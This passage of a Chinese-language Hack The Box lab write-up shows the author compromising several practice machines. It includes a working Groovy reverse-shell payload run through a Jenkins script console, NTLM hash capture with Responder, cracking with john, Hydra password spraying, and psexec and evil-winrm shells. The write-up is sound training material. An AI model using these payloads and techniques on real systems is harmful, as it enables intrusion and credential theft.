Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Jetty 9.4.39.v20210325
|_http-title: Site doesn&amp;#39;t have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.39.v20210325)
| http-robots.txt: 1 disallowed entry 
|_/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;找到了一個用 &lt;a href=&quot;https://tso-liang-wu.gitbook.io/learn-ansible-and-jenkins-in-30-days/jenkins/jenkins/jenkins-intro&quot;&gt;Jenkins&lt;/a&gt; 的登入管理頁面。&lt;/li&gt;
&lt;li&gt;通靈了 &lt;code&gt;root/password&lt;/code&gt; 居然過了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/rk6ke0HwC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上網查了下資料，發現這邊有 &lt;code&gt;Groovy Script&lt;/code&gt; 這種東西。&lt;/li&gt;
&lt;li&gt;到 &lt;code&gt;http://10.129.163.207:8080/script&lt;/code&gt; 就能 &lt;code&gt;RCE&lt;/code&gt; 了&lt;/li&gt;
&lt;li&gt;上網找找 Reverse shell 的 &lt;a href=&quot;https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76&quot;&gt;Payload&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;String host=&amp;quot;localhost&amp;quot;;
int port=1337;
String cmd=&amp;quot;/bin/bash&amp;quot;;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&amp;gt;0)so.write(pi.read());while(pe.available()&amp;gt;0)so.write(pe.read());while(si.available()&amp;gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;還有注意一下這邊的 &lt;code&gt;host&lt;/code&gt; 要填，下 &lt;code&gt;ip a&lt;/code&gt; 的那個 ip&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-gkoyfeatio]─[~]
└──╼ $ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: ens3: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether a6:ba:3b:08:30:84 brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 209.151.153.201/22 brd 209.151.155.255 scope global dynamic ens3
       valid_lft 82702sec preferred_lft 82702sec
    inet6 fe80::a4ba:3bff:fe08:3084/64 scope link 
       valid_lft forever preferred_lft forever
3: tun0: &amp;lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.15.22/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1114/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::d13f:45c0:bde6:1c0/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;要填這個 &lt;code&gt;10.10.15.22&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以最後 payload&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;String host=&amp;quot;10.10.15.22&amp;quot;;
int port=1337;
String cmd=&amp;quot;/bin/bash&amp;quot;;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&amp;gt;0)so.write(pi.read());while(pe.available()&amp;gt;0)so.write(pe.read());while(si.available()&amp;gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;開個 &lt;code&gt;nc&lt;/code&gt; 聽&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;nc -lnvp 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/BkC6GASDA.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GET FLAG!!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;ls /root
flag.txt
snap
cat /root/flag.txt
9cdfb439c7876e703e307864c9167a15
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Responder (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Nmap 起手++++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.249.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 00:58 CDT
Nmap scan report for unika.htb (10.129.249.57)
Host is up (0.017s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: Unika
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 185.46 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;開了 port &lt;code&gt;5985&lt;/code&gt; ，他是個處理 powershell 遠端的功能，但登入要帳密去看看其他的&lt;/li&gt;
&lt;li&gt;先看看網頁服務，因為有 hosts 所以我們加到 &lt;code&gt;/etc/hosts&lt;/code&gt; 解析&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-mcyhu7xtvf htb-mcyhu7xtvf.htb-cloud.com
10.129.249.57 unika.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;觀察一下網頁，發現 &lt;code&gt;http://unika.htb/index.php?page=&lt;/code&gt; 有 &lt;code&gt;LFI&lt;/code&gt; 跟 &lt;code&gt;RFI&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HJlYAQbFDC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;這裡不 &lt;code&gt;LFI-&amp;gt;RCE&lt;/code&gt; 因為 filter 建不起來&lt;/li&gt;
&lt;li&gt;居然是滲透，我們玩玩看其他的&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;responder&lt;/code&gt; 抓登入口令的 HASH 值&lt;/li&gt;
&lt;li&gt;最後爆破用 &lt;code&gt;evil-winrm&lt;/code&gt; 去登入看看&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Responder &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;這邊要用 &lt;code&gt;ip addr&lt;/code&gt; 的 &lt;code&gt;tun0&lt;/code&gt; 抓 (在內網)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;3: tun0: &amp;lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.118/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1074/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::75ce:8c81:8c27:80cd/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以看到要用 &lt;code&gt;10.10.14.118&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;先開始監聽&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~]
└──╼ $sudo responder -I tun0 -v
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR &amp;amp; MDNS Responder 3.1.3.0

  To support this project:
  Patreon -&amp;gt; https://www.patreon.com/PythonResponder
  Paypal  -&amp;gt; https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [OFF]
    HTTPS server               [OFF]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.118]
    Responder IPv6             [dead:beef:2::1074]
    Challenge set              [random]
    Don&amp;#39;t Respond To Names     [&amp;#39;ISATAP&amp;#39;]

[+] Current Session Variables:
    Responder Machine Name     [WIN-SA20U1ALR4U]
    Responder Domain Name      [6J4S.LOCAL]
    Responder DCE-RPC Port     [47487]

[+] Listening for events...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;在網站有 RFI 的地方打上 &lt;code&gt;\\{IP}/{anything}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/r1wrIWYPC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;按下 enter 後，hash 就反彈回來了&lt;/li&gt;
&lt;li&gt;我們還可以順便知道 username 是 &lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;接著我們用 &lt;code&gt;john&lt;/code&gt; 嘗試破解 hash 破解密碼&lt;/li&gt;
&lt;li&gt;先把剛剛錄到的 hash 存起來&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $cat crackme.txt 
Administrator::RESPONDER:11664cfb5bf8e620:8986474E950FCAC1E176EE5662C65038:01010000000000008096D986D1D0DA0148455363CDE03A720000000002000800580037005400440001001E00570049004E002D004600320048003500310053004800570036004400320004003400570049004E002D00460032004800350031005300480057003600440032002E0058003700540044002E004C004F00430041004C000300140058003700540044002E004C004F00430041004C000500140058003700540044002E004C004F00430041004C00070008008096D986D1D0DA0106000400020000000800300030000000000000000100000000200000BE59609986332FCCF305DB7549ED9FEEEDDE960B1BE3AE3EEF18FB50FC28681D0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100310038000000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;好 我們用 john 去 破解&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2024-07-08 01:27) 33.33g/s 136533p/s 136533c/s 136533C/s slimshady..oooooo
Use the &amp;quot;--show --format=netntlmv2&amp;quot; options to display all of the cracked passwords reliably
Session completed. 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以看到密碼是 &lt;code&gt;badminton&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;evil-winrn&lt;/code&gt; 登入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $evil-winrm -i 10.129.249.57 -u Administrator -p badminton
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;GET SHELL!&lt;/li&gt;
&lt;li&gt;最後 flag 在 &lt;code&gt;mike&lt;/code&gt; 的桌面~&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;*Evil-WinRM* PS C:\Users\mike\Desktop&amp;gt; cat flag.txt
ea81b7afddd03efaa0945333ed147fac
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tactics (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 起手囉&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $nmap -sC -sV -Pn -T4 -p- 10.129.143.166
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 04:59 CDT
Nmap scan report for 10.129.143.166
Host is up (0.0088s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-08T10:03:28
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 257.16 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有 smb 服務，用工具看看有什麼咚咚&lt;/li&gt;
&lt;li&gt;猜到帳號是 &lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $smbclient -L 10.129.143.166 -U administrator
Password for [WORKGROUP\administrator]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.143.166 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;用 &lt;code&gt;smbmap&lt;/code&gt; 看看我們有甚麼權限&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $smbmap -H 10.129.143.166 -u Administrator
[+] IP: 10.129.143.166:445	Name: 10.129.143.166                                    
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	READ, WRITE	Remote Admin
	C$                                                	READ, WRITE	Default share
	IPC$                                              	READ ONLY	Remote IPC
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;都可以進ㄟ，直接連進去看看 &lt;code&gt;C$&lt;/code&gt; 有甚麼&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $smbclient -U administrator \\\\10.129.143.166/C$
Password for [WORKGROUP\administrator]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;去看看 &lt;code&gt;/User/Administrator/Desktop&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SkgOnEFvC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有 FLAG ㄟ，直接 &lt;code&gt;get&lt;/code&gt; 他拿到 flag!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;有個另解，可以 GET SHELL&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;用 &lt;a href=&quot;https://xz.aliyun.com/t/11877?time__1311=mqmx0DBD9DyDcGDnDBuQx20tr0QHPHmbehD&amp;alichlgref=https%3A%2F%2Fwww.google.com%2F&quot;&gt;impacket&lt;/a&gt; 可以 get shell&lt;/li&gt;
&lt;li&gt;用我們剛剛猜出來的 Username : Administrator&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
└──╼ $impacket-psexec Administrator@10.129.143.166
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.129.143.166.....
[*] Found writable share ADMIN$
[*] Uploading file IQUuxrgv.exe
[*] Opening SVCManager on 10.129.143.166.....
[*] Creating service AdtA on 10.129.143.166.....
[*] Starting service AdtA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;GET SHELL!&lt;/li&gt;
&lt;li&gt;最後再去一樣的地方 拿 flag 就好~&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Windows 指令對照表&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ls&lt;/code&gt; : &lt;code&gt;dir&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat&lt;/code&gt; : &lt;code&gt;type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grep&lt;/code&gt; : &lt;code&gt;findstr&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Funnel (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Nmap 偵查&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.228.195
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 08:02 CDT
Nmap scan report for 10.129.228.195
Host is up (0.0082s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.118
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個 FTP ㄟ，一樣用 &lt;code&gt;anonymous&lt;/code&gt; 連進去試試看&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $ftp 10.129.228.195
Connected to 10.129.228.195.
220 (vsFTPd 3.0.3)
Name (10.129.228.195:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||43585|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
226 Directory send OK.
ftp&amp;gt; cd mail_backup
250 Directory successfully changed.
ftp&amp;gt; ls
229 Entering Extended Passive Mode (|||35204|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp         58899 Nov 28  2022 password_policy.pdf
-rw-r--r--    1 ftp      ftp           713 Nov 28  2022 welcome_28112022
226 Directory send OK.
ftp&amp;gt; get password_policy.pdf
local: password_policy.pdf remote: password_policy.pdf
229 Entering Extended Passive Mode (|||15526|)
150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).
100% |***********************************| 58899        3.38 MiB/s    00:00 ETA
226 Transfer complete.
58899 bytes received in 00:00 (2.24 MiB/s)
ftp&amp;gt; get welcome_28112022
local: welcome_28112022 remote: welcome_28112022
229 Entering Extended Passive Mode (|||36486|)
150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).
100% |***********************************|   713       12.14 MiB/s    00:00 ETA
226 Transfer complete.
713 bytes received in 00:00 (77.39 KiB/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;把東西載下來看看&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SyVlL3cw0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/By0-I3qvR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;賺爛，給了帳號跟預設密碼，加上剛剛 nmap 掃到的 &lt;code&gt;ssh&lt;/code&gt; ，我猜有人沒改預設密碼 &lt;code&gt;funnel123#!#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;Hydra&lt;/code&gt; 進行噴灑&lt;/li&gt;
&lt;li&gt;先把使用者存起來&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/ryhILh5vA.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
└──╼ $hydra -L user.txt -p &amp;#39;funnel123#!#&amp;#39; 10.129.228.195 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-09 08:09:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:5/p:1), ~1 try per task
[DATA] attacking ssh://10.129.228.195:22/
[22][ssh] host: 10.129.228.195   login: christine   password: funnel123#!#
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-09 08:10:02
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;找到了! 登入 &lt;code&gt;christine&lt;/code&gt; 的 &lt;code&gt;ssh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HyMXP3cwC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;但翻了下，完全沒東西。&lt;/li&gt;
&lt;li&gt;這邊卡了很久，偷看了一下 &lt;code&gt;workthrough&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;這邊會用到一個叫 &lt;code&gt;隧道&lt;/code&gt; 的技術 ， 目的是在幫你連接更深層的主機，進行更進一步的滲透。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;1. 本地端口轉發
使用本地端口转发，则在现有的有效SSH会话中创建一个单独的隧道，该隧道将网络流量从客户端机器的本地端口转发到远程服务器的端口。在底层，SSH在给定端口的客户机上分配一个套接字侦听器，当连接到该端口时，该连接将通过现有的SSH会话转发到远程服务器的端口 。

2. 遠程端口轉發
也称为反向隧道挖掘，它是与本地端口转发隧道完全相反。SSH连接成功，创建一个单独的隧道，SSH使用该隧道将到服务器端口的传入流量重定向回客户端 。
 在底层，SSH在给定端口的服务器上分配一个套接字侦听器。当连接到该端口时，该连接将通过现有的SSH会话转发到本地客户端的端口。
 
3. 動態端口轉發

与本地和远程都有转发，在隧道创建之前必须定义本地端口和远程端口。动态隧道允许用户指定一个将从客户端动态地将传入的流量转发到服务器的端口。因此，在内部发生的事情是，SSH变成了一个SOCKS5代理，通过SOCKET5代理服务器在客户端和服务器之间交换网络数据包。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/sycamorelg/article/details/134166718&quot;&gt;Reference&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;這邊我們用本地，故我們連上 &lt;code&gt;ssh&lt;/code&gt; 的任務是看看有甚麼奇怪的服務&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Socket Statistics (ss)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;可以獲得 socket 統計，和 &lt;code&gt;netstat&lt;/code&gt; 很像&lt;/li&gt;
&lt;li&gt;複習用法請到 &lt;a href=&quot;/wU-4qTnsQfG1zbpToz3vdw&quot;&gt;滲透測試工具&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;讓我們來看看有甚麼 &lt;code&gt;tcp&lt;/code&gt; 連線&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;christine@funnel:~$ ss -tl
State   Recv-Q  Send-Q   Local Address:Port         Peer Address:Port  Process  
LISTEN  0       4096         127.0.0.1:36209             0.0.0.0:*              
LISTEN  0       4096     127.0.0.53%lo:domain            0.0.0.0:*              
LISTEN  0       128            0.0.0.0:ssh               0.0.0.0:*              
LISTEN  0       4096         127.0.0.1:postgresql        0.0.0.0:*              
LISTEN  0       32                   *:ftp                     *:*              
LISTEN  0       128               [::]:ssh                  [::]:*              
christine@funnel:~$ ss -tln
State   Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process  
